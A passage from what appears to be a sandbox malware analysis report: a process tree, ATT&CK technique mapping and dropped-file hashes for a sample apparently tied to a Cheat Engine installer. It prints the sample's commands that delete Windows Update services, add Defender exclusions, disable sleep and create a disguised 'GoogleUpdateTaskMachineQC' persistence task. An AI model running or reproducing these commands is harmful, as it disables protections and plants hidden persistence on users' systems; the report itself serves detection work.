                • C:\Windows\System32\sc.exe
                  sc stop bits
                  3⤵
                  • Launches sc.exe
                  PID:3744
                • C:\Windows\System32\sc.exe
                  sc stop dosvc
                  3⤵
                  • Launches sc.exe
                  PID:1524
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                  3⤵
                    PID:4332
                  • C:\Windows\System32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                    3⤵
                      PID:3260
                    • C:\Windows\System32\reg.exe
                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                      3⤵
                      • Modifies security service
                      PID:2732
                    • C:\Windows\System32\reg.exe
                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                      3⤵
                        PID:4652
                      • C:\Windows\System32\reg.exe
                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                        3⤵
                          PID:3560
                      • C:\Windows\System32\cmd.exe
                        C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                        2⤵
                        • Power Settings
                        • Suspicious use of WriteProcessMemory
                        PID:2944
                        • C:\Windows\System32\powercfg.exe
                          powercfg /x -hibernate-timeout-ac 0
                          3⤵
                          • Power Settings
                          • Suspicious use of AdjustPrivilegeToken
                          PID:760
                        • C:\Windows\System32\powercfg.exe
                          powercfg /x -hibernate-timeout-dc 0
                          3⤵
                          • Power Settings
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1820
                        • C:\Windows\System32\powercfg.exe
                          powercfg /x -standby-timeout-ac 0
                          3⤵
                          • Power Settings
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3192
                        • C:\Windows\System32\powercfg.exe
                          powercfg /x -standby-timeout-dc 0
                          3⤵
                          • Power Settings
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4336
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#zfjwxc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3408
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#tugby#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:2352
                        • C:\Windows\system32\schtasks.exe
                          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
                          3⤵
                            PID:4184
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                          2⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4836
                        • C:\Windows\System32\cmd.exe
                          C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1820
                          • C:\Windows\System32\sc.exe
                            sc stop UsoSvc
                            3⤵
                            • Launches sc.exe
                            PID:5100
                          • C:\Windows\System32\sc.exe
                            sc stop WaaSMedicSvc
                            3⤵
                            • Launches sc.exe
                            PID:4796
                          • C:\Windows\System32\sc.exe
                            sc stop wuauserv
                            3⤵
                            • Launches sc.exe
                            PID:4164
                          • C:\Windows\System32\sc.exe
                            sc stop bits
                            3⤵
                            • Launches sc.exe
                            PID:4204
                          • C:\Windows\System32\sc.exe
                            sc stop dosvc
                            3⤵
                            • Launches sc.exe
                            PID:3288
                          • C:\Windows\System32\reg.exe
                            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                            3⤵
                              PID:1108
                            • C:\Windows\System32\reg.exe
                              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                              3⤵
                                PID:4504
                              • C:\Windows\System32\reg.exe
                                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                                3⤵
                                  PID:1884
                                • C:\Windows\System32\reg.exe
                                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                                  3⤵
                                    PID:3152
                                  • C:\Windows\System32\reg.exe
                                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                                    3⤵
                                      PID:648
                                  • C:\Windows\System32\cmd.exe
                                    C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                    2⤵
                                    • Power Settings
                                    • Suspicious use of WriteProcessMemory
                                    PID:1664
                                    • C:\Windows\System32\powercfg.exe
                                      powercfg /x -hibernate-timeout-ac 0
                                      3⤵
                                      • Power Settings
                                      PID:4596
                                    • C:\Windows\System32\powercfg.exe
                                      powercfg /x -hibernate-timeout-dc 0
                                      3⤵
                                      • Power Settings
                                      PID:2224
                                    • C:\Windows\System32\powercfg.exe
                                      powercfg /x -standby-timeout-ac 0
                                      3⤵
                                      • Power Settings
                                      PID:1592
                                    • C:\Windows\System32\powercfg.exe
                                      powercfg /x -standby-timeout-dc 0
                                      3⤵
                                      • Power Settings
                                      PID:416
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#zfjwxc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
                                    2⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Drops file in System32 directory
                                    • Modifies data under HKEY_USERS
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:1584
                                  • C:\Windows\System32\conhost.exe
                                    C:\Windows\System32\conhost.exe ubulqosn
                                    2⤵
                                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:4036
                                  • C:\Windows\System32\cmd.exe
                                    C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                    2⤵
                                      PID:3224
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic PATH Win32_VideoController GET Name, VideoProcessor
                                        3⤵
                                        • Detects videocard installed
                                        PID:4224
                                    • C:\Windows\System32\cmd.exe
                                      C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                      2⤵
                                        PID:476
                                      • C:\Windows\System32\conhost.exe
                                        C:\Windows\System32\conhost.exe vgyegivgfazcjxdl 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPrOXm4kGtEn/ZgPyjiDYwe/zRLKpUXs5FnM1Cz+lDKtsCEDVmxImOWutHy/wWAAF6uYRISXHrJSUiB0oBkYNVSVc+Z5TfdaGGtLWt9rhn1IwMTF8FurdYcS6sHeOOKov7n8fO9XzXfUsz+ohQT/DgIOyRpUwzATAbwxDv0BlAH+ISI2MOv7cXgWh/hEHn9UpTLH2AUxVXP8zWMLLWvPHAJe2SIfhjGncq3xQ+gVn+I4NKh77PPjDPgwHNzByaS5XiUtDR8Md5EhmkOEwD9v8Eh4nbJIewLTK837YGsKnb02yQo3e+jdFtCWzMfMeobPaXFvrKzv2emNNnxavmVO2FkfkcC1DvbnhN7NqgiVLh1FnuRerr7Rs9GSm8wk3eogEBuxtyJF/l7QvFFEn+PmzyQ6wNeX5T4KpCB8N2LdQ7qGf0xREtOLrL2we+R3IiFUCw/PgUnlB9aOUvPUntLmUYwnVg3n39kwuMDyHF7sntpqwSQW5ruNhQsPrhI9EqpLJ48=
                                        2⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:2328
                                    • C:\Program Files\Google\Chrome\updater.exe
                                      "C:\Program Files\Google\Chrome\updater.exe"
                                      1⤵
                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:3796
                                    • C:\Program Files\McAfee\WebAdvisor\ServiceHost.exe
                                      "C:\Program Files\McAfee\WebAdvisor\ServiceHost.exe"
                                      1⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Drops file in Program Files directory
                                      • Modifies data under HKEY_USERS
                                      PID:6052
                                      • C:\Program Files\McAfee\WebAdvisor\UIHost.exe
                                        "C:\Program Files\McAfee\WebAdvisor\UIHost.exe"
                                        2⤵
                                        • Checks computer location settings
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        PID:4424
                                      • C:\Program Files\McAfee\WebAdvisor\updater.exe
                                        "C:\Program Files\McAfee\WebAdvisor\updater.exe"
                                        2⤵
                                        • Executes dropped EXE
                                        • Modifies data under HKEY_USERS
                                        PID:4856
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c dir "C:\Program Files (x86)\McAfee Security Scan" 2>nul
                                        2⤵
                                          PID:5320
                                          • C:\Windows\System32\Conhost.exe
                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            3⤵
                                              PID:4624
                                        • C:\Program Files (x86)\Razer\Razer Services\Razer Central\RazerCentralService.exe
                                          "C:\Program Files (x86)\Razer\Razer Services\Razer Central\RazerCentralService.exe"
                                          1⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Drops file in System32 directory
                                          • System Location Discovery: System Language Discovery
                                          • Enumerates system info in registry
                                          • Modifies data under HKEY_USERS
                                          PID:5880
                                        • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                                          "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
                                          1⤵
                                          • Executes dropped EXE
                                          • Checks system information in the registry
                                          • System Location Discovery: System Language Discovery
                                          • Modifies data under HKEY_USERS
                                          PID:416
                                          • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                                            "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xNjcuMjEiIHNoZWxsX3ZlcnNpb249IjEuMy4xNjcuMjEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MkY5RDAzODQtN0QwOC00M0E2LUFBQTctNzQ2RTJGQzk0RkVGfSIgdXNlcmlkPSJ7QTRGM0M0QzEtRTlBRS00OEVFLTlGQkItRTkxQUU4NUQyRDU5fSIgaW5zdGFsbHNvdXJjZT0ib3RoZXJpbnN0YWxsY21kIiByZXF1ZXN0aWQ9IntBQTcyMTMwNi0zMzcxLTQ1OEItQjEyMS1FQ0ZCNjhFODJGNER9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iOCIgcGh5c21lbW9yeT0iOCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iIiBwcm9kdWN0X25hbWU9IiIvPjxleHAgZXRhZz0iJnF1b3Q7cjQ1MnQxK2syVGdxL0hYemp2Rk5CUmhvcEJXUjlzYmpYeHFlVURIOXVYMD0mcXVvdDsiLz48YXBwIGFwcGlkPSJ7OEE2OUQzNDUtRDU2NC00NjNjLUFGRjEtQTY5RDlFNTMwRjk2fSIgdmVyc2lvbj0iMTIzLjAuNjMxMi4xMjMiIG5leHR2ZXJzaW9uPSIxMjMuMC42MzEyLjEyMyIgbGFuZz0iZW4iIGJyYW5kPSJHR0xTIiBjbGllbnQ9IiI-PGV2ZW50IGV2ZW50dHlwZT0iMzEiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjUiIHN5c3RlbV91cHRpbWVfdGlja3M9IjU4NzQ0NjYxNTUiLz48L2FwcD48L3JlcXVlc3Q-
                                            2⤵
                                            • Executes dropped EXE
                                            • Checks system information in the registry
                                            • System Location Discovery: System Language Discovery
                                            • System Network Configuration Discovery: Internet Connection Discovery
                                            PID:6036
                                          • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{76F7EBC8-977A-4495-853E-93037CB2869D}\MicrosoftEdge_X64_131.0.2903.112.exe
                                            "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{76F7EBC8-977A-4495-853E-93037CB2869D}\MicrosoftEdge_X64_131.0.2903.112.exe" --msedgewebview --verbose-logging --do-not-launch-msedge --system-level
                                            2⤵
                                            • Executes dropped EXE
                                            PID:6992
                                            • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{76F7EBC8-977A-4495-853E-93037CB2869D}\EDGEMITMP_54F3D.tmp\setup.exe
                                              "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{76F7EBC8-977A-4495-853E-93037CB2869D}\EDGEMITMP_54F3D.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{76F7EBC8-977A-4495-853E-93037CB2869D}\MicrosoftEdge_X64_131.0.2903.112.exe" --msedgewebview --verbose-logging --do-not-launch-msedge --system-level
                                              3⤵
                                              • Executes dropped EXE
                                              PID:6492
                                              • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{76F7EBC8-977A-4495-853E-93037CB2869D}\EDGEMITMP_54F3D.tmp\setup.exe
                                                "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{76F7EBC8-977A-4495-853E-93037CB2869D}\EDGEMITMP_54F3D.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=131.0.6778.205 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{76F7EBC8-977A-4495-853E-93037CB2869D}\EDGEMITMP_54F3D.tmp\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=131.0.2903.112 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ff68bd52918,0x7ff68bd52924,0x7ff68bd52930
                                                4⤵
                                                • Executes dropped EXE
                                                • Drops file in Program Files directory
                                                PID:5676

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Reconnaissance

                                        Resource Development

                                        Initial Access

                                        Execution

                                        Command and Scripting Interpreter

                                        1
                                        T1059

                                        PowerShell

                                        1
                                        T1059.001

                                        Scheduled Task/Job

                                        1
                                        T1053

                                        Scheduled Task

                                        1
                                        T1053.005

                                        System Services

                                        1
                                        T1569

                                        Service Execution

                                        1
                                        T1569.002

                                        Persistence

                                        Create or Modify System Process

                                        2
                                        T1543

                                        Windows Service

                                        2
                                        T1543.003

                                        Event Triggered Execution

                                        2
                                        T1546

                                        Component Object Model Hijacking

                                        1
                                        T1546.015

                                        Image File Execution Options Injection

                                        1
                                        T1546.012

                                        Power Settings

                                        1
                                        T1653

                                        Scheduled Task/Job

                                        1
                                        T1053

                                        Scheduled Task

                                        1
                                        T1053.005

                                        Privilege Escalation

                                        Create or Modify System Process

                                        2
                                        T1543

                                        Windows Service

                                        2
                                        T1543.003

                                        Event Triggered Execution

                                        2
                                        T1546

                                        Component Object Model Hijacking

                                        1
                                        T1546.015

                                        Image File Execution Options Injection

                                        1
                                        T1546.012

                                        Scheduled Task/Job

                                        1
                                        T1053

                                        Scheduled Task

                                        1
                                        T1053.005

                                        Defense Evasion

                                        File and Directory Permissions Modification

                                        1
                                        T1222

                                        Impair Defenses

                                        1
                                        T1562

                                        Modify Registry

                                        2
                                        T1112

                                        Subvert Trust Controls

                                        1
                                        T1553

                                        Install Root Certificate

                                        1
                                        T1553.004

                                        Credential Access

                                        Credentials from Password Stores

                                        1
                                        T1555

                                        Credentials from Web Browsers

                                        1
                                        T1555.003

                                        Unsecured Credentials

                                        2
                                        T1552

                                        Credentials In Files

                                        2
                                        T1552.001

                                        Discovery

                                        Browser Information Discovery

                                        1
                                        T1217

                                        Peripheral Device Discovery

                                        1
                                        T1120

                                        Query Registry

                                        7
                                        T1012

                                        Software Discovery

                                        1
                                        T1518

                                        Security Software Discovery

                                        1
                                        T1518.001

                                        System Information Discovery

                                        7
                                        T1082

                                        System Location Discovery

                                        1
                                        T1614

                                        System Language Discovery

                                        1
                                        T1614.001

                                        System Network Configuration Discovery

                                        1
                                        T1016

                                        Internet Connection Discovery

                                        1
                                        T1016.001

                                        Lateral Movement

                                        Collection

                                        Data from Local System

                                        2
                                        T1005

                                        Command and Control

                                        Exfiltration

                                        Impact

                                        Service Stop

                                        1
                                        T1489

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                                          Filesize

                                          200KB

                                          MD5

                                          d1c3e60c8afb52d707e1fefda65fdea2

                                          SHA1

                                          79b739b599f804a822bf2059b84b1a58838f9a20

                                          SHA256

                                          32cef1f473157936b3adbb35b2566a619d4620af2998e05b01a493edf39d19ec

                                          SHA512

                                          95d6495a7f86424266105138c963504c33f30848e34d5d02a26fee8f1d6b2418d2f1b25e3261571feeecfa8a489c52412180f84cafc12f71fa0d1029c28afa03

                                          Download Submit

                                        • C:\Program Files (x86)\Razer\Razer Axon\MicrosoftEdgeWebview2Setup.exe
                                          Filesize

                                          1.5MB

                                          MD5

                                          cf7f5cdb6443fef5c5e14351dfa52a61

                                          SHA1

                                          50b9178f04c1102938afa4badb5f03cfc0f8a9b9

                                          SHA256

                                          69a70d81c56c0fedf43d7a07ee0f8ad006383ec06733748ac83b0401bf937ddb

                                          SHA512

                                          0cdba91499cc421da6d330954a9e3211765ebc2c48034a93b5b084e5b2c7de93ca96af025f2e5e91054d113e4c7f8c0bec3a8c94269565ce7181ea165a57c3cc

                                          Download Submit

                                        • C:\Program Files (x86)\Razer\Razer Axon\RazerAxon.exe
                                          Filesize

                                          444KB

                                          MD5

                                          9b1162d3db3c147da611083209e18106

                                          SHA1

                                          2b25428e051b9e799c0216b0ae77b625bb7aec6b

                                          SHA256

                                          65cb7b72808357ee47c6831f3f2bad91681370c5f064f1dd00bde2526c8ac79c

                                          SHA512

                                          8cb17b165b9b3c48271db36216ef9a10ab5f6e384e336195598d4894df5b4e3267605a8f27a0aaf9aabb60ba12414e3cfadce6ffd92027106168672b7ac885e4

                                          Download Submit

                                        • C:\Program Files (x86)\Razer\Razer Axon\is-B6PKC.tmp
                                          Filesize

                                          382B

                                          MD5

                                          240d2b0c05811c7f04746af38c0810e2

                                          SHA1

                                          e740da7e6df6111c2a831535417c350ff3ad7151

                                          SHA256

                                          d2b1fea0967d3db90fb6f5d0c12ab4b978c33bbc08fff19ac1449829a334461e

                                          SHA512

                                          e9aa20d20b0c16a20f39fae0665e7c2188bc7478eea790df9ab8d4c454d2f314660e11d17f59ecf7822b0fa8d144d37b15c0b4b3b9bc3726dfae25cd5c76880d

                                          Download Submit

                                        • C:\Program Files (x86)\Razer\Razer Axon\unins000.exe
                                          Filesize

                                          3.4MB

                                          MD5

                                          9583120fd25b608f742ca7aa80f6677d

                                          SHA1

                                          dc43bb015006918d2834791e177739649d0bb1f0

                                          SHA256

                                          aeca1f2f93b5dfc8de44b3375b59f7375b4ecb99efd7e953273cd8f9fe984b55

                                          SHA512

                                          e683a73e5f35e6d1ae4a4bf9a7a02db069c680d48c05579004983cd13ada9cb51298799d5a5261a193885781c88a283e536036e9af8e38137022ee2f1c026751

                                          Download Submit

                                        • C:\Program Files (x86)\Razer\Razer Services\Razer Central\Service Worker.zip
                                          Filesize

                                          17.2MB

                                          MD5

                                          a7aab67f3095c0348d34c44d04b81458

                                          SHA1

                                          0833059827c9c2757baceb72151cf93d930c1920

                                          SHA256

                                          cac2ea373aa938d8d4e492e0d3dc1df24e428914cbb635c8f752a3ff71b51ec2

                                          SHA512

                                          71a97df0a24f96be8e200b9330032c91b19060811ac21497eb3eae58f5d2f72d2d4b748a5ed940f43840dde0e2859afb50d7d4ae2db387a7c522e5a706ed93b9

                                          Download Submit

                                        • C:\Program Files (x86)\Razer\Razer Services\Razer Central\v8_context_snapshot.bin
                                          Filesize

                                          590KB

                                          MD5

                                          10409a90206eb4859d27095aebf4c392

                                          SHA1

                                          2a9aa6951c923ccb5ca25348e161ee8799985e7b

                                          SHA256

                                          2de3925cba036e1eec21eccd40c35e501958938cf9f96bd125e145ba12c446a2

                                          SHA512

                                          96d7d065ab39d9a1e7850eeb6d23df9da5b0f6e91ea5c6258a06cef3d39c5eeded3117e83cbc1d0a7b0ed73dc656ef0d2b50651bb99800902186b4f1fb1cfd8e

                                          Download Submit

                                        • C:\Program Files\Cheat Engine 7.5\Cheat Engine.exe
                                          Filesize

                                          389KB

                                          MD5

                                          f921416197c2ae407d53ba5712c3930a

                                          SHA1

                                          6a7daa7372e93c48758b9752c8a5a673b525632b

                                          SHA256

                                          e31b233ddf070798cc0381cc6285f6f79ea0c17b99737f7547618dcfd36cdc0e

                                          SHA512

                                          0139efb76c2107d0497be9910836d7c19329e4399aa8d46bbe17ae63d56ab73004c51b650ce38d79681c22c2d1b77078a7d7185431882baf3e7bef473ac95dce

                                          Download Submit

                                        • C:\Program Files\Cheat Engine 7.5\Kernelmoduleunloader.exe
                                          Filesize

                                          236KB

                                          MD5

                                          9af96706762298cf72df2a74213494c9

                                          SHA1

                                          4b5fd2f168380919524ecce77aa1be330fdef57a

                                          SHA256

                                          65fa2ccb3ac5400dd92dda5f640445a6e195da7c827107260f67624d3eb95e7d

                                          SHA512

                                          29a0619093c4c0ecf602c861ec819ef16550c0607df93067eaef4259a84fd7d40eb88cd5548c0b3b265f3ce5237b585f508fdd543fa281737be17c0551163bd4

                                          Download Submit

                                        • C:\Program Files\Cheat Engine 7.5\allochook-i386.dll
                                          Filesize

                                          328KB

                                          MD5

                                          19d52868c3e0b609dbeb68ef81f381a9

                                          SHA1

                                          ce365bd4cf627a3849d7277bafbf2f5f56f496dc

                                          SHA256

                                          b96469b310ba59d1db320a337b3a8104db232a4344a47a8e5ae72f16cc7b1ff4

                                          SHA512

                                          5fbd53d761695de1dd6f0afd0964b33863764c89692345cab013c0b1b6332c24dcf766028f305cc87d864d17229d7a52bf19a299ca136a799053c368f21c8926

                                          Download Submit

                                        • C:\Program Files\Cheat Engine 7.5\allochook-x86_64.dll
                                          Filesize

                                          468KB

                                          MD5

                                          daa81711ad1f1b1f8d96dc926d502484

                                          SHA1

                                          7130b241e23bede2b1f812d95fdb4ed5eecadbfd

                                          SHA256

                                          8422be70e0ec59c962b35acf8ad80671bcc8330c9256e6e1ec5c07691388cd66

                                          SHA512

                                          9eaa8e04ad7359a30d5e2f9256f94c1643d4c3f3c0dff24d6cd9e31a6f88cb3b470dd98f01f8b0f57bb947adc3d45c35749ed4877c7cbbbcc181145f0c361065

                                          Download Submit

                                        • C:\Program Files\Cheat Engine 7.5\badassets\scoreboard.png
                                          Filesize

                                          5KB

                                          MD5

                                          5cff22e5655d267b559261c37a423871

                                          SHA1

                                          b60ae22dfd7843dd1522663a3f46b3e505744b0f

                                          SHA256

                                          a8d8227b8e97a713e0f1f5db5286b3db786b7148c1c8eb3d4bbfe683dc940db9

                                          SHA512

                                          e00f5b4a7fa1989382df800d168871530917fcd99efcfe4418ef1b7e8473caea015f0b252cac6a982be93b5d873f4e9acdb460c8e03ae1c6eea9c37f84105e50

                                          Download Submit

                                        • C:\Program Files\Cheat Engine 7.5\is-2CU6B.tmp
                                          Filesize

                                          12.2MB

                                          MD5

                                          5be6a65f186cf219fa25bdd261616300

                                          SHA1

                                          b5d5ae2477653abd03b56d1c536c9a2a5c5f7487

                                          SHA256

                                          274e91a91a7a520f76c8e854dc42f96484af2d69277312d861071bde5a91991c

                                          SHA512

                                          69634d85f66127999ea4914a93b3b7c90bc8c8fab1b458cfa6f21ab0216d1dacc50976354f7f010bb31c5873cc2d2c30b4a715397fb0e9e01a5233c2521e7716

                                          Download Submit

                                        • C:\Program Files\Cheat Engine 7.5\libipt-32.dll
                                          Filesize

                                          157KB

                                          MD5

                                          df443813546abcef7f33dd9fc0c6070a

                                          SHA1

                                          635d2d453d48382824e44dd1e59d5c54d735ee2c

                                          SHA256

                                          d14911c838620251f7f64c190b04bb8f4e762318cc763d993c9179376228d8ca

                                          SHA512

                                          9f9bea9112d9db9bcecfc8e4800b7e8032efb240cbbddaf26c133b4ce12d27b47dc4e90bc339c561714bc972f6e809b2ec9c9e1facc6c223fbac66b089a14c25

                                          Download Submit

                                        • C:\Program Files\Cheat Engine 7.5\libipt-64.dll
                                          Filesize

                                          182KB

                                          MD5

                                          4a3b7c52ef32d936e3167efc1e920ae6

                                          SHA1

                                          d5d8daa7a272547419132ddb6e666f7559dbac04

                                          SHA256

                                          26ede848dba071eb76c0c0ef8e9d8ad1c53dfab47ca9137abc9d683032f06ebb

                                          SHA512

                                          36d7f8a0a749de049a830cc8c8f0d3962d8dce57b445f5f3c771a86dd11aaa10da5f36f95e55d3dc90900e4dbddd0dcc21052c53aa11f939db691362c42e5312

                                          Download Submit

                                        • C:\Program Files\Cheat Engine 7.5\luaclient-i386.dll
                                          Filesize

                                          197KB

                                          MD5

                                          9f50134c8be9af59f371f607a6daa0b6

                                          SHA1

                                          6584b98172cbc4916a7e5ca8d5788493f85f24a7

                                          SHA256

                                          dd07117ed80546f23d37f8023e992de560a1f55a76d1eb6dfd9d55baa5e3dad6

                                          SHA512

                                          5ccafa2b0e2d20034168ee9a79e8efff64f12f5247f6772815ef4cb9ee56f245a06b088247222c5a3789ae2dcefadbc2c15df4ff5196028857f92b9992b094e0

                                          Download Submit

                                        • C:\Program Files\Cheat Engine 7.5\luaclient-x86_64.dll
                                          Filesize

                                          260KB

                                          MD5

                                          dd71848b5bbd150e22e84238cf985af0

                                          SHA1

                                          35c7aa128d47710cfdb15bb6809a20dbd0f916d8

                                          SHA256

                                          253d18d0d835f482e6abbaf716855580eb8fe789292c937301e4d60ead29531d

                                          SHA512

